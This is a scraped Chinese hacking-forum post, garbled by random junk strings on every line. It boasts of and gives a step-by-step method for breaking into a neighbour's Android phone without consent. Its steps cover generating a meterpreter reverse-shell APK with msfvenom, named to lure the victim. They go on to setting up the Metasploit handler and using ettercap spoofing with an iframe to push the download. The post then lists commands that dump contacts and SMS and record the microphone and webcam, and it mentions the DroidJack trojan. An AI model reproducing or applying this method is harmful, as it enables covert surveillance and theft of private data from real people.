中国网络渗透测试联盟

标题: metasploit+ettercap中间人攻击成功入侵邻居手机 [打印本页]
作者: admin    时间: 2018-10-20 20:30
标题: metasploit+ettercap中间人攻击成功入侵邻居手机

- l8 E; e5 A* ]' S8 i 五、msf+ettercap入侵邻居安卓手机 - ?! B. X+ m* {% U' d1 }

/ W4 k7 p5 @$ K9 v9 ^9 N

. y* M) U4 W, r7 S: U6 | 首先启动msf 7 X1 U3 b- ]- q! @

q a, ~* Y# ?& M& H& D

& w) P& F* o$ f w( r% P, e 先用kali生成一个安卓木马，如下命令： 1 O# n5 X- H( @/ W6 K- x

8 H' [" U2 j0 l) @

+ Q# O/ s5 K2 z5 w4 K Msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.0.109 LPORT=44444 -o ~/Desktop/ribenav.apk # h& ?. a8 v3 k7 y

& W( u2 W/ F. m9 V+ e" u# P/ c

6 K( x: T( |, Q* I% q, ^7 \( b 为了能让对方下载以后安装我这里将马的名字命名为ribenav.apk,哈哈邻居可是个“大色鬼”，就不适用替换下载的方法了，据我所知，邻居频繁使用手机浏览器浏览新闻 0 f- j, l1 `- v3 Q4 e' O9 V

1 \, H, i5 Y; p1 \" _

C+ r2 p) E2 d 然后进入msf 6 i, e/ m/ e* H) e3 I9 W3 F* q

7 ~% {" l" ^& V+ ^, w/ T) O: N

0 Q0 _# X2 L" q) } use exploit/multi/handler / z% h" D; V' W

) U, U1 K2 o- \9 a' ^% [

, |$ Y! }" l& u1 Q% m set payload android/meterpreter/reverse_tcp * m* P0 D. S4 C

0 J, J/ N+ R( V9 Q- h. h

9 q H/ z6 q$ I9 r4 f% T$ u set LHOST 192.168.0.109 //ip为kaili的ip + j3 w% y" N- b" |+ n

- k; j" M4 F* w$ J

$ H' x, ^+ F1 I, Z* B set LPORT 44444 //端口一定要与前面生成的木马的端口一致 , `& y3 ~9 g$ u

' p, B1 p2 ?6 R

h/ B8 }. ?1 Q# W Exploit : ~9 y' M' V" j0 Q: q K9 q/ @

& n: W- h4 u$ Q& i2 t

- n2 u9 O# x3 C3 X   ( t- R5 \# T, z& J! A% W

3 |- u1 {, `" F+ P* l6 S2 |

: C" M# j& I7 }$ U1 |4 t `0 p- x 下面我们开启ettercap -G , T; t: d. M5 Y. T8 p) D( H

/ g/ T' I- b5 _2 r8 ?7 L6 I

$ ?: p: S4 m1 Q C; E+ ?: u; V) } 我物理IP为 # T8 E) C! ~/ o% f3 W4 G/ o3 Z6 W5 ^

: Y+ C8 b# M- l3 e

) ]& ^% x" U" `* C   ; ]( Q6 G2 I# z5 O3 R

( U) n) [' m2 o# h- c

! c. m1 w* \8 A. k/ m/ p 别到时候再把我物理机欺骗了，之前测试物理机只装腾讯管家是可以成功欺骗的， " R0 k& ]) O8 z: s+ R/ {( I

( f, b/ Y3 r @" C2 r

) n: D& {5 I; G 下面我们来设置一下 ; Y" Z: q/ h) ~: Z) S$ ^

' ]! m, o ]$ @; O6 a

$ h5 ?. r& X6 Z4 ?. s* K   $ u* ?4 d- F3 R5 w0 r" Q" p

# P: [* c2 M0 q1 i

8 P6 I. z/ w. {& N" [ 在开启欺骗之前我们先把生成的apk马丢到kaili var/www/html下，并创建一个index.htm文件内容为：<iframe src=http://192.168.0.109/ribenav.apk></iframe>,因为apk文件嘛要想直接提示下载，用iframe语句就OK了， 1 \ W% B" p0 s, H

2 Q' w8 A, l& M

1 E' A0 ~, o: a8 E4 X0 g7 a& {   ; k" |1 U1 R8 r. O S9 r7 C1 y

" {/ v' n* O. U# O

# X! G0 v4 h9 O2 C   " `, b) p5 Q7 \; g* w/ w2 {+ K8 b2 U

: g( ], p& y) T. ~6 c

* P& M2 V% m! R) g) }   & C+ W! E3 J# T. x

: } i" \- W4 w7 g& @/ v/ z2 @; {3 ?* w

! V2 G3 r1 C- ^+ f8 q% i0 U. ^   4 r: k2 O% @. ?4 U

, w9 J( [, J( e" \2 B

& ^# N- U7 @$ Q4 j   0 o4 G, x* i: c( |- c

8 D8 z5 j7 y( N" W9 }

8 p5 Y" c: F. G e   6 @3 l. S$ V( U" t2 c' Y8 S

; ~$ I4 q; V* l: K6 I& x

% G* o7 h& G) B+ i9 x   ; A; I& }0 |' }* \. k) C" U2 K

% ]' x1 Q/ H% M2 s o. X

; S$ m9 s% \ P* ~. a9 x: d   ( M2 N3 ^+ f2 \* N; {* ~+ U

1 z0 x/ f/ j% m8 _7 R7 W

. u0 T- P4 Y1 c' z   / _" W/ x m- I4 I# v

. e. H- @& A$ a( L

9 U. a' W3 F4 [ c: z   & t* R' G! y4 U+ u

$ u9 f4 |' _4 B9 V; Y/ B8 [

; }6 g! r/ ?. e   + w6 J3 p8 M7 i" n' s

# h+ A# }! l% J; ?6 `4 J1 ^$ M+ P

* U. D. f' [3 p$ a9 r% d   ; F7 {* [+ Z; r- s4 d; X# G! W! O

) O/ Z3 D- {; a q1 w

, D0 t( s$ T9 r, U6 t; U8 R/ X   - \1 @8 Q8 l# C/ H; A2 W

2 E1 E/ {4 J f, w$ N6 `: ]& x& x

' w H d; q5 c6 t6 V 下面我们开始攻击 + {% A7 B& n7 `5 J

# E8 c9 j4 [* `9 H( C

6 a- H3 I/ M3 N1 i   2 |+ ]$ w' o6 p8 a" S# B

/ }2 ~2 K( g" t( K; @

P/ i; u/ a* t' e   ?8 }0 T/ ?0 h0 v/ Z" i

3 q/ ]; v- D( p: W

9 S$ b6 R5 }% Y0 F' A2 w2 a4 Z/ b! R$ V   7 I4 d) `8 o8 \* n {

- Z- ^" E! X& Q! P- h% z9 t

& z( M( Z) B9 l7 `   . k( e; x3 W, P

3 z5 W5 e" R: A5 `/ ~

! Z3 y- G# q* f! Z" `. z# | c   , v: y/ A3 f$ G

# S1 s6 e2 y* t( _! R/ l; l0 Y2 s$ }

1 M/ `- c. {$ B6 L 大概过了5分钟多，发现反弹成功了 / U6 ?# ^. W* [/ m6 i) \$ D

6 |7 c( T. y8 n0 f

, ]' ~4 f/ N4 L% ]   8 o0 L% O9 l1 z1 Z$ e

5 B) Z% Q: Y( K9 L" ^' Y0 q$ M) C

7 L7 \9 X* _+ X) r5 w0 s   % N; m* }' K: N1 {, X ]

" A0 h& ?. Z% `: q9 {2 C

* g, y8 s& R, d" g   ! E1 ]) w$ W' W- f8 Q) u. S' l

" ^% k5 H# {7 \! k5 U8 s

$ E$ ] F* ]8 I4 F   9 d1 ?. ?1 Y8 x; \6 u- k2 E- ^

! F: S9 H$ y' j+ K' f$ o

9 S) g8 `# b' P0 c) o9 x3 q   - R3 V* N9 b5 _ B) d' M* W% x

% J* u- d( S- g+ {' Q) `

: |0 e6 h3 r% C/ _, P) f/ ?9 ?   $ @. F6 ?, M6 u9 a( I* [ \: P

9 \% i" b% V6 X+ ~! _8 [

0 p, |- e/ t% \0 X; s   * f1 {5 o6 @+ m8 H& `) C* l

! }! ?. W) C7 O4 j* Y5 m! P

. _! G/ W( q; B1 J% Q 执行命令 ' P) B$ ]: q: Q b) ~/ l! j2 S

$ e. B1 i/ ^, H5 g$ w0 p! m6 p o

/ |" i- A! Q( B& K& _* R* E   & [' D6 j- {: i# ?1 p% Z; s

& j' l- V- h* m0 ?3 I e

# k' [ p: h" ? dump_contacts    --》这个是导出电话 # {' T `$ D$ x( r3 C

0 \4 t8 r4 F! g8 ?5 V3 j1 `

1 |" P# z' D4 o dump_sms --》这个是导出信息 & s( e/ i& |" d3 L" p3 W

" B. S% x2 H7 W! s8 v, l$ k

- D1 M. s4 U, E5 w7 d: D3 {7 z" D record_mic     Record audio from the default microphone for X seconds $ R8 o# b. T/ l$ y/ R# q

2 g0 g% k$ I; g- }& |& t

+ I" U5 W- k9 |3 J: ]; G     webcam_chat    Start a video chat 2 \8 W- h4 H# P" @5 f

! k# _/ D; P: J; O$ o0 ~

s2 g2 P, h5 N. d9 ]; N! G     webcam_list    List webcams . \8 t: a3 L8 U

2 F# e! P0 {5 q3 L

2 r4 ?% e3 O- w# b* I3 W4 e     webcam_snap    Take a snapshot from the specified webcam . \9 ] K2 G. ~! ^, `

4 A5 `$ R! m$ o, y) u0 S( l

1 U& t; v9 k ^/ Q: N webcam_stream  lay a video stream from the specified webcam 7 W. v! U, r) L+ }) P |% @

" c9 L2 G6 P. _$ O# i) y+ e2 V( A; \/ p4 c" }

* r! Y: h) n$ _1 J: r   3 y$ n) H+ r( ^$ j$ R7 [

- u, c" a% ?) j& R; }# P% l

$ C) J7 |1 z! Z   # y3 P( k4 c; |) G$ `

# `7 t3 E$ M% ~# J+ L; e

! V- A5 \1 w p: {0 l* i b 我们打开看一下电话薄， / a$ [" V, E6 c x) b3 X

+ Q. l$ Y% p' j/ j" B1 Y: G" k

6 d! o) m+ S8 a% I4 g   " z7 j' J) m( c ]* `$ M

8 H: R0 ^: x4 b) z) \( ?* g

X% P4 {0 }3 t2 ?7 t   ' v2 q/ H, r, y8 x; C% U

" W& y, A. k* D- n/ R2 b% b

$ l9 Q; K+ m" T& ]* s; d   - P% L! X# |, N

3 {& b7 Q9 `3 Z

. A K$ q4 M: Y9 h6 f6 G# \* I$ K, r3 m   3 S7 q6 H, o9 @0 ^* J) U) k

& N7 y* o9 y2 Q! Y; _/ ^

9 H0 X# \" p4 j6 D! j( C- K   ) u6 X0 f; f# M8 k& S

0 a# A# _ s: E

! o8 b* S9 e8 T# a3 H. z$ X   . i4 L! n9 n! C0 [4 \6 F* h

: V( Y, T5 |6 x, e

) {/ Y5 h$ J t5 A/ [/ r: X* y' X9 h 我们同时欺骗成DroidJack木马，使用方法如图： , K$ ]4 D; v6 q0 g3 @

9 F! S2 _3 E0 ]

; q+ s" v* T* X$ T   . ~4 r: y, \% w

3 G2 F+ e, V8 H! t) M3 r

& q q. L6 Y f- }5 D1 j   & ^6 X+ p( E3 R* D! z

+ \% q6 r2 k! o' m8 E0 T

% p/ P; v; \# j8 q1 E. P   ! ?" f& {# G) Q( y1 T5 m l! b3 D% F

$ h! b4 Z# q, i# P$ C: X& r# k

7 z& Y( a2 n. d; D 切记在前面生成完马以后记得在这里选择开关为on，并且对应前面生成马的时候的端口 # x1 T( Y/ t( X$ d

1 E0 h* n$ {) J3 |3 V) t

, I8 i: p; v: X$ y/ O   ( C0 r7 t0 [) U; G: t# K5 z

: ~, j0 a# @; r8 x8 I

5 f0 V8 [# I8 k0 y+ Z   # e$ `: ] V. p2 p+ m7 l

0 g0 d9 L( A8 ^7 a* \

/ ~' V& V3 b9 T# r2 H! ?. ^4 L   / a k6 v4 ]2 @

* x$ P* V. n# N: O

" n- Y8 z7 K0 i6 X) { 0 y8 |, Q" ?3 K; u! B

* Q& s& X9 A4 W- [! n* N8 `( Q; h4 B

( j1 `1 o" v0 w* L [/ @
2 G6 g y/ W0 e! z+ x4 P3 \7 R





欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2